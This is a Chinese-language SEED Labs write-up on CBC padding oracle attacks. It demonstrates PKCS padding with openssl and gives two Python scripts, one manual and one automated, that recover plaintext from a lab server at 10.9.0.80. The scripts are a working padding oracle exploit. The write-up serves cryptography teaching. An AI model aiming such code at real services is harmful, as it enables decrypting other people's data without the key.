1. Overview

Padding Oracle:一些系统在解密密文时,会先验证其填充是否合法,如果不合法则会抛出异常。针对此行为的攻击即为padding oracle攻击

2. Lab Environment

  • Seed虚拟机
  • Labsetup.zip

使用dcbuilddcup命令启动docker环境

3. Task1:Getting Familiar with Padding

Padding:分组加密算法要求明文长度需要为分组长度的整数倍。因此需要padding填充末尾使长度满足要求

使用echo -n创建文件P,长度为5。-n参数表示结尾不带换行符

1
echo -n "12345" > P

使用openssl命令对文件进行加密,并且对加密文件解密查看padding

1
2
3
4
5
# 加密
openssl enc -aes-128-cbc -e -in P -out C

# 解密
openssl enc -aes-128-cbc -d -nopad -in C -out P_new

结果如下,可以看出P_new文件内容末尾出现'\x0a',文件长度变为16。表明加密过程进行了padding '\x0a'字符到16位的操作。

分别尝试文件长度为10, 16的文件,结果如下,可以得出padding规律(要填充的位数作为填充字符)

4. Task2:Padding Oracle Attack(level 1)

连接server端,获取到IV与密文

1
2
01020304050607080102030405060708	# IV
a9b2554b0944118061212098f2f238cd779ea0aae3d9d020f3677bfcb3cda9ce # ciphertext

可以与server交互,向server发送输入,输入应为IV+密文,server会使用其K和IV解密,并且返回padding是否有效。尝试通过返回信息来得出密文的真实内容。

server端对密文解密过程如下,为CBC模式。padding oracle攻击的原理为假设未知Plaintext P2的填充位为0x01,那么可以通过构造C1来与D2异或使解密的P2填充位为0x01,此时server端会返回Valid信息,可以解出未知的D2.当D2完全解出时,即可使用正确C1与D2异或获取明文。

manual_attack.py脚本如下,对通过尝试C1末位256种字符解出D2末位值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/python3
import socket
from binascii import hexlify, unhexlify

# XOR two bytearrays
def xor(first, second):
return bytearray(x^y for x,y in zip(first, second))

class PaddingOracle:

def __init__(self, host, port) -> None:
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))

ciphertext = self.s.recv(4096).decode().strip()
self.ctext = unhexlify(ciphertext)

def decrypt(self, ctext: bytes) -> None:
self._send(hexlify(ctext))
return self._recv()

def _recv(self):
resp = self.s.recv(4096).decode().strip()
return resp

def _send(self, hexstr: bytes):
self.s.send(hexstr + b'\n')

def __del__(self):
self.s.close()


if __name__ == "__main__":
oracle = PaddingOracle('10.9.0.80', 5000)

# Get the IV + Ciphertext from the oracle
iv_and_ctext = bytearray(oracle.ctext)
IV = iv_and_ctext[00:16]
C1 = iv_and_ctext[16:32] # 1st block of ciphertext
C2 = iv_and_ctext[32:48] # 2nd block of ciphertext
print("C1: " + C1.hex())
print("C2: " + C2.hex())

###############################################################
# Here, we initialize D2 with C1, so when they are XOR-ed,
# The result is 0. This is not required for the attack.
# Its sole purpose is to make the printout look neat.
# In the experiment, we will iteratively replace these values.
D2 = bytearray(16)

D2[0] = C1[0]
D2[1] = C1[1]
D2[2] = C1[2]
D2[3] = C1[3]
D2[4] = C1[4]
D2[5] = C1[5]
D2[6] = C1[6]
D2[7] = C1[7]
D2[8] = C1[8]
D2[9] = C1[9]
D2[10] = C1[10]
D2[11] = C1[11]
D2[12] = C1[12]
D2[13] = C1[13]
D2[14] = C1[14]
D2[15] = C1[15]
###############################################################
# In the experiment, we need to iteratively modify CC1
# We will send this CC1 to the oracle, and see its response.
CC1 = bytearray(16)

CC1[0] = 0x00
CC1[1] = 0x00
CC1[2] = 0x00
CC1[3] = 0x00
CC1[4] = 0x00
CC1[5] = 0x00
CC1[6] = 0x00
CC1[7] = 0x00
CC1[8] = 0x00
CC1[9] = 0x00
CC1[10] = 0x00
CC1[11] = 0x00
CC1[12] = 0x00
CC1[13] = 0x00
CC1[14] = 0x00
CC1[15] = 0x00

###############################################################
# In each iteration, we focus on one byte of CC1.
# We will try all 256 possible values, and send the constructed
# ciphertext CC1 + C2 (plus the IV) to the oracle, and see
# which value makes the padding valid.
# As long as our construction is correct, there will be
# one valid value. This value helps us get one byte of D2.
# Repeating the method for 16 times, we get all the 16 bytes of D2.

K = 1
for i in range(256):
CC1[16 - K] = i
status = oracle.decrypt(IV + CC1 + C2)
if status == "Valid":
print("Valid: i = 0x{:02x}".format(i))
print("CC1: " + CC1.hex())
###############################################################

# Once you get all the 16 bytes of D2, you can easily get P2
P2 = xor(C1, D2)
print("P2: " + P2.hex())

运行后可得结果,可以看到成功解出C1末位为0xcf时,padding正确,所以可以得出D2末位为0xcf xor 0x01 = 0xce

然后修改C1末位为0xce xor 0x02尝试C1倒数第二位解出使padding为0x02的valid情况,得到D2后两位0x3b0xce

以此类推,可以得出D2值以及P2值:

5. Task 3:Padding Oracle Attack(Level 2)

自动化进程,并获取所有分组的密文。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python3
import socket
from binascii import hexlify, unhexlify

# XOR two bytearrays
def xor(first, second):
return bytearray(x^y for x,y in zip(first, second))

class PaddingOracle:

def __init__(self, host, port) -> None:
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))

ciphertext = self.s.recv(4096).decode().strip()
self.ctext = unhexlify(ciphertext)

def decrypt(self, ctext: bytes) -> None:
self._send(hexlify(ctext))
return self._recv()

def _recv(self):
resp = self.s.recv(4096).decode().strip()
return resp

def _send(self, hexstr: bytes):
self.s.send(hexstr + b'\n')

def __del__(self):
self.s.close()


if __name__ == "__main__":
oracle = PaddingOracle('10.9.0.80', 6000)

# Get the IV + Ciphertext from the oracle
iv_and_ctext = bytearray(oracle.ctext)
print(len(iv_and_ctext))
# Num of ctext
num = int(len(iv_and_ctext)/16 - 1)
plain_text = ''
for n in range(num):
C = iv_and_ctext[(n)*16: (n+1)*16]
if n == 0:
print(f"IV: " + C.hex())
else:
print(f"C{n}: " + C.hex())

# initialize D, IV, P
D = bytearray(16)
CC = bytearray(16)
P = bytearray(16)


# Solve D
for K in range(1, 17):
for i in range(256):
CC[16 - K] = i
# initialize input
tmp_input = iv_and_ctext[0:(n+2)*16]
tmp_input[n*16:(n+1)*16] = CC
status = oracle.decrypt(tmp_input)
if status == "Valid":
print("Valid: i = 0x{:02x}".format(i))
print("D: "+ D.hex())
print("CC: " + CC.hex())
# Update D
D[16 - K] = i^K
# Update CC
for j in range(1, K+1):
CC[16 - j] = D[16 - j]^(K+1)

break

# Once you get all the 16 bytes of D2, you can easily get P2
P = xor(C, D)
print("P: " + P.hex())
for j in range(16):
plain_text += chr(P[j])


print("Plaintext: " + plain_text)